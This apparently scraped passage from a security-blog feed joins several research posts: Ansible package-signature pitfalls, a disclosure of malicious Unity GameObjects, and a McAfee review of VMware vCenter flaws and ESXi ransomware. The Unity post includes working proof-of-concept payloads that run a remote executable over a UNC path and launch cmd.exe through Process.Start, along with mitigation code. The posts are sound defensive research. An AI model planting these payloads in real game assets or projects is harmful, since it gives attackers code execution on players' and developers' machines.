  7. Are alternative connection methods being used (such as ansible-pull) and are they being appropriately secured?
  8. Is the output of playbook runs not being logged or audited by default?
  9. Is the confidential output of privileged tasks being logged?
  10. Are high-impact roles/tasks (e.g. those that are managing authentication, or installing packages) actually doing what they appear to be?

Whether those tips apply will obviously vary depending on whether the organization is managing Ansible behind a tool like Ansible Tower, or if it’s a startup where all developers have SSH access to production. However, one thing that remains constant is that Ansible is typically used to install packages to setup managed nodes, so configuration vulnerabilities in package management tasks are of particular interest. We will focus on cases where declaring common package management operations in Ansible YAML format can have unintended security consequences.

CVE-2020-14365: Package Signature Ignored in dnf Module

The most obvious type of mismatch between YAML abstraction and reality in an Ansible module would be an outright bug. A recent example of this is CVE-2020-14365. The dnf module installs packages using the dnf package manager, the successor of yum and the default on Fedora Linux. The bug was that the module didn’t perform signature verification on packages it downloaded. Here is an example of a vulnerable task when run on Ansible versions <2.8.15 and <2.9.13:

- name: The task in this playbook was vulnerable to CVE-2020-14365
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      dnf:
        name: nginx
        state: present

The vulnerability is severe when targeted by advanced attackers; an opening for supply-chain attack. The lack of signature verification makes it possible for both the package mirror and man-in-the-middle (MITM) attackers on the network in between to supply their own packages which execute arbitrary commands as root on the host during installation.

For more details about how to perform such an attack, this guide walks through injecting backdoored apt packages from a MITM perspective. The scenario was presented a few years ago on a HackTheBox machine.

The issue is exacerbated by the fact that in most cases on Linux distros, GPG package signatures are the only thing giving authenticity and integrity to the downloaded packages. Package mirrors don’t widely use HTTPS (see Why APT does not use HTTPS for the justification), including dnf. With HTTPS transport between mirror and host, the CVE is still exploitable by a malicious mirror but at least the MITM attacks are a lot harder to pull off. We ran a quick test and despite Fedora using more HTTPS mirrors than Debian, some default mirrors selected due to geographical proximity were HTTP-only:

The root cause of the CVE was that the Ansible dnf module imported a Python module as an interface for handling dnf operations, but did not call a crucial _sig_check_pkg() function. Presumably, this check was either forgotten or assumed to be performed automatically in the imported module.

Package Signature Checks Can be Bypassed When Downgrading Package Versions

The dnf example was clearly a bug, now patched, so let’s move on to a more subtle type of mismatch where the YAML interface doesn’t map cleanly to the desired low-level behavior. This time it is in the apt package manager module and is a mistake we have seen in several production Ansible playbooks.

In a large infrastructure, it is common to install packages from multiple sources, from a mixture of official distro repositories, third-party repositories, and in-house repositories. Sometimes the latest version of a package will cause dependency problems or remove features which are relied upon. The solution which busy teams often choose is to downgrade the package to the last version that was working. While downgrades should never be a long-term solution, they can be necessary when the latest version is actively breaking production or a package update contains a bug.

When run interactively from the command line, apt install (and apt-get install, they are identical for our purposes) allows you to specify an older version you want to downgrade to, and it will do the job. But when accepting confirmation prompts automatically (in “-y” mode, which Ansible uses), apt will error out unless the --allow-downgrades argument is explicitly specified. Further confirmation is required since a downgrade may break other packages. But the Ansible apt module doesn’t offer an --allow-downgrades option equivalent; there’s no clear way to make a downgrade work using Ansible.

The first Stackoverflow answer that comes up when searching for “ansible downgrade package” recommends using force: true (or force: yes which is equivalent in YAML):

- name: Downgrade NGINX in a way that is vulnerable
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx=1.14.0-0ubuntu1.2
        force: true
        state: present

This works fine, and without follow-up, this pattern can become a fixture of the configuration which an organization runs regularly across hosts. Unfortunately, it creates a vulnerability similar to the dnf CVE, disabling signature verification.

To look into what is going on, let’s use the strace command line to see the full invocation:

$ sudo strace -f -e trace=execve ansible-playbook apt_force_true.yml 2>&1 | grep apt
[pid 479683] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "--force-yes", "install", "nginx=1.14.0-0ubuntu1.2"], 0x1209b40 /* 33 vars */) = 0

The force: true option has added the –force-yes parameter (as stated in the apt module docs). --force-yes is a blunt hammer that will ignore any problems with the installation, including a bad signature on the downloaded package. If this same apt-get install command is run manually from the command line, it will warn: --force-yes is deprecated, use one of the options starting with --allow instead. And to Ansible’s credit, it also warns in the docs that force “is a destructive operation with the potential to destroy your system, and it should almost never be used.”

So why is use of force: true so prevalent across Ansible deployments we have seen? It’s because there’s no alternative for this common downgrade use-case besides running the full apt install command line using the command or shell modules, which is stylistically the opposite of what Ansible is all about.

On the Ansible issue tracker, people have been asking for years for an allow_downgrade option for the apt module, but two separate pull requests have been stuck in limbo because they do not meet the needs of the project. Ansible requires integration tests for every feature, and they are difficult to provide for this functionality since Debian-derived distros don’t normally host older versions of packages in their default repositories to downgrade to. The yum and dnf modules have had an allow_downgrade option since 2018.

Fixing the Problem

At IncludeSec we like to contribute to open source where we can, so we’ve opened a pull request to resolve this shortcoming of the apt module, by adding an allow_downgrade option. This time, the change has integration tests and will hopefully meet the requirements of the project and get merged!

In the meantime, how to safely drop back to an old version of a package in an Ansible managed infrastructure? First, run a one-time apt install command with the --allow-downgrades option. Next, subsequent upgrades of the package can be prevented using either Apt Pinning or dpkg holding, native methods in Debian-derived distros to do this. The hold can be performed by Ansible with the dpkg_selections module:

- name: Downgrade and Hold a Package
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is downgraded
      command:
        cmd: "apt install -y -o Dpkg::Options::=--force-confold -o Dpkg::Options::=--force-confdef --allow-downgrades nginx=1.16.0-1~buster"
    - name: ensure nginx is held back
      dpkg_selections:
        name: nginx
        selection: hold

Overall the approach isn’t obvious nor pretty and is therefore a perfect example of a mismatch between the YAML abstraction which appears to just force a downgrade, and the reality which is that it forces ignoring signature verification errors too. We hope this will change soon.

The next part of this series will explore using Semgrep to identify this vulnerability and others in Ansible playbooks. We’ll review the top 10 Ansible security audits checks presented and see how much of the hard work can be automated through static analysis. We’ve got a lot more to say about this, stay tuned for our next post on the topic!

The post Hack Series: Is your Ansible Package Configuration Secure? appeared first on Include Security Research Blog.

Hacking Unity Games with Malicious GameObjects

At IncludeSec our clients are asking us to hack on all sorts of crazy applications from mass scale web systems to IoT devices and low-level firmware. Something that we’re seeing more of is hacking virtual reality systems and mass scale video games so we had a chance to do some research and came up with what we believe to be a novel attack against Unity-powered games!

Specifically, this post will outline:

  • Two ways I found that GameObjects (a non-code asset type) can be crafted to cause arbitrary code to run.
  • Five possible ways an attacker might use a malicious GameObject to compromise a Unity game.
  • How game developers can mitigate the risk.

Unity has also published their own blog post on this subject. Be sure to check that out for their specific recommendations and how to protect against this sort of vulnerability.

Terminology

First a brief primer on the terms I’m going to use for those less familiar with Unity.

  • GameObjects are entities in Unity that can have any number of components attached.
  • Components are added to GameObjects to make them do things. They include Unity built-in components, like UI elements and sprite renderers, as well as custom scripted components used to build the game logic.
  • Assets are the elements that make up the game. This includes images, sounds, scripts, and GameObjects, among other things.
  • AssetBundles are a way to package non-code assets and allow them to be loaded at runtime (from the web or locally). They are used to decrease initial download size, allow downloadable content, as well as sometimes to enable modding of the game.

Ways a malicious GameObject could get into a game

Before going into details about how a GameObject could execute code, let’s talk about how it would get in the game in the first place so that we’re clear on the attack scenarios. I came up with five ways a malicious GameObject might find its way into a Unity game:

Way 1: the most obvious route is if the game developer downloaded it and added it to the game project. This might be an asset they purchased on the Unity Asset Store, or something they found on GitHub that solved a problem they were having.

Way 2: Unity AssetBundles allow non-script assets (including GameObjects) to be imported into a game at runtime. There may be an assumption that these assets are safe, since they contain no custom script assets, but as you’ll see further into the post that is not a safe assumption. For example, sometimes AssetBundles are used to add modding functionality to a game. If that’s the case, then third-party mods downloaded by a user can unexpectedly cause code execution, similar to running untrusted programs from the internet.

Way 3: AssetBundles can be downloaded from the internet at runtime without transport encryption enabling man-in-the-middle attacks. The Unity documentation has an example of how to do this, partially listed below:

UnityWebRequest uwr = UnityWebRequestAssetBundle.GetAssetBundle("http://www.my-server.com/mybundle")

In the Unity-provided example, the AssetBundle is being downloaded over HTTP. If an AssetBundle is downloaded over HTTP (which lacks the encryption and certificate validation of HTTPS), an attacker with a man-in-the-middle position of whoever is running the game could tamper with the AssetBundle in transit and replace it with a malicious one. This could, for example, affect players who are playing on an untrusted network such as a public WiFi access point.

Way 4: AssetBundles can be downloaded from the internet at runtime with transport encryption but man-in-the-middle attacks might still be possible.

Unity has this to say about certificate validation when using UnityWebRequests:

Some platforms will validate certificates against a root certificate authority store. Other platforms will simply bypass certificate validation completely.

According to the docs, even if you use HTTPS, on certain platforms Unity won’t check certificates to verify it’s communicating with the intended server, opening the door for possible AssetBundle tampering. It’s possible to create your own certificate handler, but only on specific platforms:

Note: Custom certificate validation is currently only implemented for the following platforms – Android, iOS, tvOS and desktop platforms.

I could not find information about which platforms “bypass certificate validation completely”, but I’m guessing it’s the less-common ones? Still, if you’re developing a game that downloads AssetBundles, you might want to verify that certificate validation is working on the platforms you use.

Way 5: Malicious insider. A contributor on a development team or open source project wants to add some bad code to a game. But maybe the dev team has code reviews to prevent this sort of thing. Likely, those code reviews don’t extend to the GameObjects themselves, so the attacker smuggles their code into a GameObject that gets deployed with the game.

Crafting malicious GameObjects

I think it’s pretty obvious why you wouldn’t want arbitrary code running in your game — it might compromise players’ computers, steal their data, crash the game, etc. If the malicious code runs on a development machine, the attacker could potentially steal the source code or pivot to attack the studio’s internal network. Peter Clemenko had another interesting perspective on his blog: essentially, in the near-future augmented-reality cyberpunk ready-player-1 upcoming world an attacker may seek to inject things into a user’s reality to confuse, distract, annoy, and that might cause real-world harm.

So, how can non-script assets get code execution?

Method 1: UnityEvents

Unity has an event system that allows hooking up delegates in code that will be called when an event is triggered. You can use them in your custom scripts for game-specific events, and they are also used on Unity’s built-in UI components (such as Buttons) for event handlers (like onClick) . Additionally, you can add ones to objects such as PointerClick, PointerEnter, Scroll, etc. using an EventTrigger component

One-parameter UnityEvents can be exposed in the inspector by components. In normal usage, setting up a UnityEvent looks like this in the Unity inspector:

First you have to assign a GameObject to receive the event callback (in this case, “Main Camera”). Then you can look through methods and properties on any components attached to that GameObject, and select a handler method.

Many assets in Unity, including scenes and GameObject prefabs, are serialized as YAML files that store the various properties of the object. Opening up the object containing the above event trigger, the YAML looks like this:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 1978173272}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: 11500000, guid: d0b148fe25e99eb48b9724523833bab1, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  m_Delegates:
  - eventID: 4
    callback:
      m_PersistentCalls:
        m_Calls:
        - m_Target: {fileID: 963194228}
          m_TargetAssemblyTypeName: UnityEngine.Component, UnityEngine
          m_MethodName: SendMessage
          m_Mode: 5
          m_Arguments:
            m_ObjectArgument: {fileID: 0}
            m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
            m_IntArgument: 0
            m_FloatArgument: 0
            m_StringArgument: asdf
            m_BoolArgument: 0
          m_CallState: 2

The most important part is under m_Delegates — that’s what controls which methods are invoked when the event is triggered. I did some digging in the Unity C# source repo along with some experimenting to figure out what some of these properties are. First, to summarize my findings: UnityEvents can call any method that has a return type void and takes zero or one argument of a supported type. This includes private methods, setters, and static methods. Although the UI restricts you to invoking methods available on a specific GameObject, editing the object’s YAML does not have that restriction — they can call any method in a loaded assembly . You can skip to exploitation below if you don’t need more details of how this works.

Technical details

UnityEvents technically support delegate functions with anywhere from zero to four parameters, but unfortunately Unity does not use any UnityEvents with greater than one parameter for its built-in components (and I found no way to encode more parameters into the YAML). We are therefore limited to one-parameter functions for our attack.

The important fields in the above YAML are:

  • eventID — This is specific to EventTriggers (rather than UI components.) It specifies the type of event, PointerClick, PointerHover, etc. PointerClick is “4”.
  • m_TargetAssemblyTypeName — this is the fully qualified .NET type name that the event handler function will be called on. Essentially this takes the form: namespace.typename, assemblyname. It can be anything in one of the assemblies loaded by Unity, including all Unity engine stuff as well as a lot of .NET stuff.
  • m_callstate — Determines when the event triggers — only during a game, or also while using the Unity Editor:
    • 0 – UnityEventCallState.Off
    • 1 – UnityEventCallState.EditorAndRuntime
    • 2 – UnityEventCallState.RuntimeOnly
  • m_mode — Determines the argument type of the called function.
    • 0 – EventDefined
    • 1 – Void,
    • 2 – Object,
    • 3 – Int,
    • 4 – Float,
    • 5 – String,
    • 6 – Bool
  • m_target — Specify the Unity object instance that the method will be called on. Specifying m_target: {fileId: 0} allows static methods to be called.

Unity uses C# reflection to obtain the method to call based on the above. The code ultimately used to obtain the method is shown below:

objectType.GetMethod(functionName, BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static, null, argumentTypes, null);

With the binding flags provided, it’s possible to specify private or public methods, static or instance methods. When calling the function, a delegate is created with type UnityAction that has a return type of void — therefore, the specified function must have a void return type.

Exploitation

My goal after discovering the above was to find some method available in the default loaded assemblies fitting the correct form (static, return void, exactly 1 parameter) which would let me do Bad Things™. Ideally, I wanted to get arbitrary code execution, but other things could be interesting too. If I could hook up an event handler to something dangerous, we would have a malicious GameObject.

I was quickly able to get arbitrary code execution on Windows machines by invoking Application.OpenURL() with a UNC path pointing to a malicious executable on a network share. The attacker would host a malicious exe file, and wait for the game client to trigger the event. OpenURL will then download and execute the payload. 

Below is the event definition I used  in the object YAML:

- m_Target: {fileID: 0}
  m_TargetAssemblyTypeName: UnityEngine.Application, UnityEngine
  m_MethodName: OpenURL
  m_Mode: 5
  m_Arguments:
    m_ObjectArgument: {fileID: 0}
    m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
    m_IntArgument: 0
    m_FloatArgument: 0
    m_StringArgument: file://JASON-INCLUDESE/shared/calc.exe
    m_BoolArgument: 0
  m_CallState: 2

It sets an OnPointerClick handler on an object with a large bounding box (to ensure it gets triggered). When the victim user clicks, it retrieves calc.exe from a network share and executes it. In a hypothetical attack the exe file would likely be on the internet, but I hosted on my local network. Here’s a gif of what happens when you click the object:

This got arbitrary code execution on Windows from a malicious GameObject either in an AssetBundle or included in the project. However, the network drive method won’t work on non-Windows platforms unless they’ve specifically mounted a share, since they don’t automatically open UNC paths. What about those platforms?

Another interesting function is EditorUtility.OpenWithDefaultApp(). It takes a string path to a file, and opens it up with the system’s default app for this file type. One useful part is that it takes relative paths in the project. An attacker who can get malicious executables into your project can call this function with the relative path to their executable to get them to run.

For example, on macOS I compiled the following C program which writes “hello there” to /tmp/hello:

#include <stdio.h>;
int main() {
  FILE* fp = fopen("/tmp/hello");
  fprintf(fp, "hello there");
  fclose(fp);
  return 0;
}

I included the compiled binary in my Assets folder as “hello” (no extension — this is important!) Then I set up the following onClick event on a button:

m_OnClick:
  m_PersistentCalls:
    m_Calls:
    - m_Target: {fileID: 0}
      m_TargetAssemblyTypeName: UnityEditor.EditorUtility, UnityEditor
      m_MethodName: OpenWithDefaultApp
      m_Mode: 5
      m_Arguments:
        m_ObjectArgument: {fileID: 0}
        m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
        m_IntArgument: 0
        m_FloatArgument: 0
        m_StringArgument: Assets/hello
        m_BoolArgument: 0
      m_CallState: 2

It now executes the executable when you click the button:

This doesn’t work for AssetBundles though, because the unpacked contents of AssetBundles aren’t written to disk. Although the above might be an exploitation path in some scenarios, my main goal was to get code execution from AssetBundles, so I kept looking for methods that might let me do that on Mac (on Windows, it’s possible with OpenURL(), as previously shown). I used the following regex in SublimeText to search over the UnityCsReference repository for any matching functions that a UnityEvent could call: static( extern|) void [A-Za-z\w_]*\((string|int|bool|float) [A-Za-z\w_]*\)

After pouring over the 426 discovered methods, I fell a short of getting completely arbitrary code exec from AssetBundles on non-Windows platforms — although I still think it’s probably possible. I did find a bunch of other ways such a GameObject could do Bad Things™. This is just a small sampling:

Unity.CodeEditor.CodeEditor.SetExternalScriptEditor() Can change a user’s default code editor to arbitrary values. Setting it to a malicious UNC executable can achieve code execution whenever they trigger Unity to open a code editor, similar to the OpenURL exploitation path.
PlayerPrefs.DeleteAll() Delete all save games and other stored data.
UnityEditor.FileUtil.UnityDirectoryDelete() Invokes Directory.Delete() on the specified directory.
UnityEngine.ScreenCapture.CaptureScreenshot() Takes a screenshot of the game window to a specified file. Will automatically overwrite the specified file. Can be written to UNC paths in Windows.
UnityEditor.PlayerSettings.SetAdditionalIl2CppArgs() Add flags to be passed to the Il2Cpp compiler.
UnityEditor.BuildPlayerWindow.BuildPlayerAndRun() Trigger the game to build. In my testing I couldn’t get this to work, but combined with the Il2Cpp flag function above it could be interesting.
Application.Quit(), EditorApplication.Exit() Quit out of the game/editor.

Method 2: Visual scripting systems

There are various visual scripting systems for Unity that let you create logic without code. If you have imported one of these into your project, any third-party GameObject you import can use the visual scripting system. Some of the systems are more powerful or less powerful. I will focus on Bolt as an example since it’s pretty popular, Unity acquired it, and it’s now free. 

This attack vector was proposed on Peter Clemenko’s blog I mentioned earlier, but it focused on malicious entity injection — I think it should be clarified that, using Bolt, it’s possible for imported GameObjects to achieve arbitrary code execution as well, including shell command execution.

With the default settings, Bolt does not show many of the methods available to you in the loaded assemblies in its UI. Once again, though, you have more options if you edit the YAML than you do in the UI. For example, if you make a simple Bolt flow graph like the following:

The YAML looks like:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 2032548220}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: -57143145, guid: a040fb66244a7f54289914d98ea4ef7d, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  _data:
    _json: '{"nest":{"source":"Embed","macro":null,"embed":{"variables":{"collection":{"$content":[],"$version":"A"},"$version":"A"},"controlInputDefinitions":[],"controlOutputDefinitions":[],"valueInputDefinitions":[],"valueOutputDefinitions":[],"title":null,"summary":null,"pan":{"x":117.0,"y":-103.0},"zoom":1.0,"elements":[{"coroutine":false,"defaultValues":{},"position":{"x":-204.0,"y":-144.0},"guid":"a4dcd43b-833d-49f5-8642-b6c311cf324f","$version":"A","$type":"Bolt.Start","$id":"10"},{"chainable":false,"member":{"name":"OpenURL","parameterTypes":["System.String"],"targetType":"UnityEngine.Application","targetTypeName":"UnityEngine.Application","$version":"A"},"defaultValues":{"%url":{"$content":"https://includesecurity.com","$type":"System.String"}},"position":{"x":-59.0,"y":-145.0},"guid":"395d9bac-f1da-4173-9e4b-b19d156c9a0b","$version":"A","$type":"Bolt.InvokeMember","$id":"12"},{"sourceUnit":{"$ref":"10"},"sourceKey":"trigger","destinationUnit":{"$ref":"12"},"destinationKey":"enter","guid":"d9cae7fd-e05b-48c6-b16d-5f04b0c722a6","$type":"Bolt.ControlConnection"}],"$version":"A"}}}'
    _objectReferences: []

The _json field seems to be where the meat is. Un-minifying it and focusing on the important parts:

[...]
  "member": {
    "name": "OpenURL",
    "parameterTypes": [
        "System.String"
    ],
    "targetType": "UnityEngine.Application",
    "targetTypeName": "UnityEngine.Application",
    "$version": "A"
  },
  "defaultValues": {
    "%url": {
        "$content": "https://includesecurity.com",
        "$type": "System.String"
    }
  },
[...]

It can be changed from here to a version that runs arbitrary shell commands using System.Diagnostics.Process.Start:

[...]
{
  "chainable": false,
  "member": {
    "name": "Start",
    "parameterTypes": [
        "System.String",
        "System.String"
    ],
    "targetType": "System.Diagnostics.Process",
    "targetTypeName": "System.Diagnostics.Process",
    "$version": "A"
  },
  "defaultValues": {
    "%fileName": {
        "$content": "cmd.exe",
        "$type": "System.String"
    },
    "%arguments": {
         "$content": "/c calc.exe",
         "$type": "System.String"
    }
  },
[...]

This is what that looks like now in Unity:

A malicious GameObject imported into a project that uses Bolt can do anything it wants.

How to prevent this

Third-party assets

It’s unavoidable for many dev teams to use third-party assets in their game, be it from the asset store or an outsourced art team. Still, the dev team can spend some time scrutinizing these assets before inclusion in their game — first evaluating the asset creator’s trustworthiness before importing it into their project, then reviewing it (more or less carefully depending on how much you trust the creator). 

AssetBundles

When downloading AssetBundles, make sure they are hosted securely with HTTPS. You should also double check that Unity validates HTTPS certificates on all platforms your game runs — do this by setting up a server with a self-signed certificate and trying to download an AssetBundle from it over HTTPS. On the Windows editor, where certificate validation is verified as working, doing this creates an error like the following and sets the UnityWebRequest.isNetworkError property to true:

If the download works with no error, then an attacker could insert their own HTTPS server in between the client and server, and inject a malicious AssetBundle. 

If Unity does not validate certificates on your platform and you are not on one of the platforms that allows for custom certificate checking, you probably have to implement your own solution — likely integrating a different HTTP client that does check certificates and/or signing the AssetBundles in some way.

When possible, don’t download AssetBundles from third-parties. This is impossible, though, if you rely on AssetBundles for modding functionality. In that case, you might try to sanitize objects you receive. I know that Bolt scripts are dangerous, as well as anything containing a UnityEvent (I’m aware of EventTriggers and various UI elements). The following code strips these dangerous components recursively from a downloaded GameObject asset before instantiating:

private static void SanitizePrefab(GameObject prefab)
{
    System.Type[] badComponents = new System.Type[] {
        typeof(UnityEngine.EventSystems.EventTrigger),
        typeof(Bolt.FlowMachine),
        typeof(Bolt.StateMachine),
        typeof(UnityEngine.EventSystems.UIBehaviour)
    };

    foreach (var componentType in badComponents) {
        foreach (var component in prefab.GetComponentsInChildren(componentType, true)) {
            DestroyImmediate(component, true);
        }
    }
}

public static Object SafeInstantiate(GameObject prefab)
{
    SanitizePrefab(prefab);
    return Instantiate(prefab);
}

public void Load()
{
    AssetBundle ab = AssetBundle.LoadFromFile(Path.Combine(Application.streamingAssetsPath, "evilassets"));

    GameObject evilGO = ab.LoadAsset<GameObject>("EvilGameObject");
    GameObject evilBolt = ab.LoadAsset<GameObject>("EvilBoltObject");
    GameObject evilUI = ab.LoadAsset<GameObject>("EvilUI");

    SafeInstantiate(evilGO);
    SafeInstantiate(evilBolt);
    SafeInstantiate(evilUI);

    ab.Unload(false);
}

Note that we haven’t done a full audit of Unity and we pretty much expect that there are other tricks with UnityEvents, or other ways for a GameObject to get code execution. But the code above at least protects against all of the attacks outlined in this blog.

If it’s essential to allow any of these things (such as Bolt scripts) to be imported into your game from AssetBundles, it gets trickier. Most likely the developer will want to create a white list of methods Bolt is allowed to call, and then attempt to remove any methods not on the whitelist before instantiating dynamically loaded GameObjects containing Bolt scripts. The whitelist could be something like “only allow methods in the MyCompanyName.ModStuff namespace.”  Allowing all of the UnityEngine namespace would not be good enough because of things like Application.OpenURL, but you could wrap anything you need in another namespace. Using a blacklist to specifically reject bad methods is not recommended, the surface area is just too large and it’s likely something important will be missed, though a combination of white list and black list may be possible with high confidence.

In general game developers need to decide how much protection they want to add at the app layer vs. putting the risk decision in the hands of a game end-user’s own judgement on what mods to run, just like it’s on them what executables they download. That’s fair, but it might be a good idea to at least give the gamers a heads up that this could be dangerous via documentation and notifications in the UI layer. They may not expect that mods could do any harm to their computer, and might be more careful once they know.

As mentioned above, if you’d like to read more about Unity’s fix for this and their recommendations, be sure to check out their blog post!

The post Hacking Unity Games with Malicious GameObjects appeared first on Include Security Research Blog.

Are Virtual Machines the New Gold for Cyber Criminals?

AI Cyber Security

Introduction

Virtualization technology has been an IT cornerstone for organization for years now. It revolutionized the way organizations can scale up IT systems in a heartbeat, allowing then to be more agile as opposed to investing into dedicated “bare-metal” hardware. To the outside untrained eye, it might seem that there are different machines on the network, while in fact all the “separate” machines are controlled by a hypervisor server. Virtualization plays such a big role nowadays that it isn’t only used to spin up servers but also anything from virtual applications to virtual user desktops.

This is something cyber criminals have been noticing too and we have seen an increased interest in hypervisors. After all, why attack the single virtual machine when you can go after the hypervisor and control all the machines at once?

In recent months several high impact CVEs regarding virtualization software have been released which allowed for Remote Code Execution (RCE); initial access brokers are offering compromised VMware vCenter servers online, as well as ransomware groups developing specific ransomware binaries for encrypting ESXi servers.

VMware CVE-2021-21985 & CVE-2021-21986

On the 25th of May VMware disclosed a vulnerability impacting VMware vCenter servers allowing for Remote Code Execution on internet accessible vCenter servers, version 6.5,6.7 and 7.0. VMware vCenter is a management tool, used to manage virtual machines and ESXi servers.

CVE-2021-21985 is a remote code execution (RCE) vulnerability in the vSphere Client via the Virtual SAN (vSAN) Health Check plugin. This plugin is enabled by default. The combination of RCE and default enablement of the plugin resulted in this being scored as a critical flaw with a CVSSv3 score of 9.8.

An attacker needs to be able to access vCenter over TCP port 443 to exploit this vulnerability. It doesn’t matter if the vCenter is remotely exposed or when the attacker has internal access.

The same exploit vector is applicable for CVE-2021-21986, which is an authentication mechanism issue in several vCenter Server Plug-ins. It would allow an attacker to run plugin functions without authentication. This leads to the CVE being scored as a ‘moderate severity’, with a CVSSv3 score of 6.5.

While writing this blog, a Proof-of-Concept was discovered that will test if the vulnerability exists; it will not execute the remote-code. The Nmap plugin can be downloaded from this location: https://github.com/alt3kx/CVE-2021-21985_PoC.

Searching with the Shodan search engine, narrowing it down to the TCP 443 port, we observe that close to 82,000 internet accessible ESXi servers are exposedZooming in further on the versions that are affected by these vulnerabilities,  almost 55,000 publicly accessible ESXi servers are potentially vulnerable to CVE-2021-21985 and CVE-2021-21986, providing remote access to them and making them potential candidates for ransomware attacks, as we will read about in the next paragraphs.

Ransomware Actors Going After Virtual Environments

Ransomware groups are always trying to find ways to hit their victims where it hurts. So, it is only logical that they are adapting to attacking virtualization environments and the native Unix/Linux machines running the hypervisors. In the past, ransomware groups were quick to abuse earlier CVEs affecting VMware. But aside from the disclosed CVEs, ransomware groups have also adapted their binaries specifically to encrypt virtual machines and their management environment. Below are some of the ransomware groups we have observed.

DarkSide Ransomware

Figure 1. Screenshot from the DarkSide ransomware group, explicitly mentioning its Linux-based encryptor and support for ESXi and NAS systems

McAfee Advanced Threat Research (ATR) analyzed the DarkSide Linux binary in our recent blog and we can confirm that a specific routine aimed at virtual machines is present in it.

Figure 2. DarkSide VMware Code routine

From the configuration file of the DarkSide Linux variant, it becomes clear that this variant is solely designed to encrypt virtual machines hosted on an ESXi server. It searches for the disk-files of the VMs, the memory files of the VMs (vmem), swap, logs, etc. – all files that are needed to start a VMware virtual machine.

Demo of Darkside encrypting an ESXi server: https://youtu.be/SMWIckvLMoE

Babuk Ransomware

Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems:

Figure 3. Babuk ransomware claiming to have built a Linux-based ransomware binary capable of encrypting ESXi servers

The malware is written in the open-source programming language Golang, most likely because it allows developers to have a single codebase to be compiled into all major operating systems. This means that, thanks to static linking, code written in Golang on a Linux system can run on a Windows or Mac system. That presents a large advantage to ransomware gangs looking to encrypt a whole infrastructure comprised of different systems architecture.

After being dropped on the ESXi server, the malware encrypts all the files on the system:

The malware was designed to target ESXi environments as we guessed, and it was confirmed when the Babuk team returned the decryptor named d_esxi.out. Unfortunately, the decryptor has been developed with some errors, which cause corruption in victim’s files:

Overall, the decryptor is poor as it only checks for the extension “.babyk” which will miss any files the victim has renamed to recover them. Also, the decryptor checks if the file is more than 32 bytes in length as the last 32 bytes are the key that will be calculated later with other hardcoded values to get the final key. This is bad design as those 32 bytes could be trash, instead of the key, as the customer could make things, etc. It does not operate efficiently by checking the paths that are checked in the malware, instead it analyzes everything. Another error we noticed was that the decryptor tries to remove a ransom note name that is NOT the same that the malware creates in each folder. This does not make any sense unless, perhaps, the Babuk developers/operators are delivering a decryptor that works for a different version and/or sample.

The problems with the Babuk decryptor left victims in horrible situations with permanently damaged data. The probability of getting a faulty decryptor isn’t persuading victims to pay up and this might be one of the main reasons that Babuk  announced that it will stop encrypting data and only exfiltrate and extort from now on.

Initial-Access-Brokers Offering VMware vCenter Machines

It is not only ransomware groups that show an interest in virtual systems; several initial access brokers are also trading access to compromised vCenter/ESXi servers on underground cybercriminal forums. The date and time of the specific offering below overlaps with the disclosure of CVE-2021-21985, but McAfee ATR hasn’t determined if this specific CVE was used to gain access to ESXi servers.

Figure 4. Threat Actor selling access to thousands of vCenter/ESXi servers

Figure 5. Threat actor offering compromised VMware ESXi servers

Patching and Detection Advice

VMware urges users running VMware vCenter and VMware Cloud Foundation affected by CVE-2021-21985 and CVE-2021-21986 to apply its patch immediately. According to VMware, a malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. The disclosed vulnerabilities have a critical CVSS base score of 9.8.

However, we do understand that VMware infrastructure is often installed on business-critical systems, so any type of patching activity usually has a high degree of impact on IT operations. Hence, the gap between vulnerability disclosure and patching is typically high. With the operating systems on VMware being a closed system they lack the ability to natively install workload protection/detection solutions. Therefore, the defenses should be based on standard cyber hygiene/risk mitigation practices and should be applied in the following order where possible.

  1. Ensure an accurate inventory of vCenter assets and their corresponding software versions.
  2. Secure the management plane of the vCenter infrastructure by applying strict network access control policies to allow access only from special management networks.
  3. Disable all internet access to vCenter/VMware Infrastructure.
  4. Apply the released VMware patches.
  5. McAfee Network Security Platform (NSP) offers signature sets for detection of CVE-2021-21985 and CVE-2021-21986.

Conclusion

Virtualization and its underlying technologies are key in today’s infrastructures. With the release of recently discovered vulnerabilities and an understanding of their criticality, threat actors are shifting focus. Proof can be seen in underground forums where affiliates recruit pentesters with knowledge of specific virtual technologies to develop custom ransomware that is designed to cripple these technologies. Remote Desktop access is the number one access vector in many ransomware cases, followed by edge-devices lacking the latest security updates, making them vulnerable to exploitation. With the latest VMware CVEs mentioned in this blog, we urge you to take the right steps to secure not only internet exposed systems, but also internal systems, to minimize the risk of your organization losing its precious VMs, or gold, to cyber criminals.

 

Special thanks to Thibault Seret, Mo Cashman, Roy Arnab and Christiaan Beek for their contributions.

The post Are Virtual Machines the New Gold for Cyber Criminals? appeared first on McAfee Blog.

Exploit Development: Swimming In The (Kernel) Pool - Leveraging Pool Vulnerabilities From Low-Integrity Exploits, Part 1

7 June 2021 at 00:00

Introduction

